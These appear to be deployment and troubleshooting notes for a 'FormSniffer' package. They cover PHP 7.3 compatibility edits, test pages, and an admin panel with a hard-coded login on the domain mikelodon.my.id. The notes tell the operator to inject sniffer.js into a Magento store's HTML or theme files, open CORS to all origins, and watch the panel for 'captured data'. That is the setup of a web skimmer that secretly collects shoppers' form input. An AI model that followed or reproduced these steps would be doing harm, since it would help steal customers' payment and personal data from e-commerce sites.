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PHP 7.3 COMPATIBILITY FIXES
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Date: February 16, 2026
Issue: Server running PHP 7.3 - typed properties not supported

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WHAT WAS FIXED
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Your server is running PHP 7.3 (or lower), which doesn't support:
1. Typed properties (private PDO $pdo)
2. Return type declarations (: void, : bool, etc)
3. Parameter type declarations in some contexts

All files have been updated to work with PHP 7.3+

================================================================================
FILES UPDATED
================================================================================

✓ admin.php         - Removed declare(strict_types=1)
✓ login.php         - Removed declare(strict_types=1)
✓ logout.php        - Removed declare(strict_types=1)
✓ collect.php       - Removed ALL type declarations
✓ export.php        - Removed declare(strict_types=1)
✓ config.php        - Removed declare(strict_types=1)
✓ api/delete.php    - Removed declare(strict_types=1)
✓ api/profile.php   - Removed declare(strict_types=1)
✓ api/activity.php  - Removed declare(strict_types=1)

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CHANGES IN collect.php
================================================================================

BEFORE (PHP 7.4+ only):
```php
class FormCollector {
    private PDO $pdo;
    private array $config;
    
    private function handleRequest(): void {
        // code
    }
}
```

AFTER (PHP 7.3 compatible):
```php
class FormCollector {
    private $pdo;
    private $config;
    
    private function handleRequest() {
        // code
    }
}
```

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HOW TO DEPLOY
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1. Upload ALL files from the package
2. Make sure to replace these files:
   - collect.php (most important!)
   - admin.php
   - login.php
   - All files in /api/ folder

3. Test with test_collect.html:
   https://mikelodon.my.id/test_collect.html

4. Test CORS:
   https://mikelodon.my.id/test_cors.php

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TESTING STEPS
================================================================================

Step 1: Test CORS
-----------------
Visit: https://mikelodon.my.id/test_cors.php

Should show:
```json
{
  "status": "OK",
  "message": "CORS test endpoint is working"
}
```

Step 2: Test Form Capture
--------------------------
Visit: https://mikelodon.my.id/test_collect.html

1. Fill out the test form
2. Click "Submit Test"
3. Open browser console (F12)
4. Should see: "✅ SUCCESS! Data captured"

Step 3: Check Admin Panel
--------------------------
Visit: https://mikelodon.my.id/admin.php

Login: admin / Kontolodon123@

Should see the captured data from test form!

Step 4: Deploy to Magento
--------------------------
Add sniffer.js to your Magento site:
- Content → Configuration → Miscellaneous HTML
- Or inject via theme files

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TROUBLESHOOTING
================================================================================

Issue: Still getting 500 error
Fix: Check error_log file for exact error

Issue: CORS blocked
Fix: Make sure .env has ALLOWED_ORIGINS=*

Issue: Data not captured
Fix: Open browser console, check for errors

Issue: Syntax error
Fix: Make sure you uploaded ALL files, not just collect.php

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PACKAGE CONTENTS
================================================================================

FormSniffer_FINAL_WORKING.zip contains:
- All PHP files (PHP 7.3 compatible)
- sniffer.js (configured for mikelodon.my.id)
- style.css (clean dark theme)
- database.sql (complete schema)
- test_collect.html (testing page)
- test_cors.php (CORS tester)
- debug.php (database tester)
- api/ folder (all endpoints)
- Documentation files

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REQUIREMENTS
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✓ PHP 7.3 or higher (now compatible!)
✓ MySQL 5.7 or higher / MariaDB 10.2+
✓ PDO extension enabled
✓ JSON extension enabled
✓ cURL extension (for testing)

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SUPPORT
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If you still get errors:

1. Check your PHP version:
   Create a file phpinfo.php:
   ```php
   <?php phpinfo();
   ```
   Upload and check PHP version

2. Check error logs:
   Look for error_log file in your hosting

3. Enable debug mode:
   Visit debug.php to see detailed errors

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NEXT STEPS
================================================================================

1. Upload the package
2. Test with test_collect.html
3. If test works, deploy sniffer.js to Magento
4. Monitor admin panel for captured data

Everything is now compatible with PHP 7.3!

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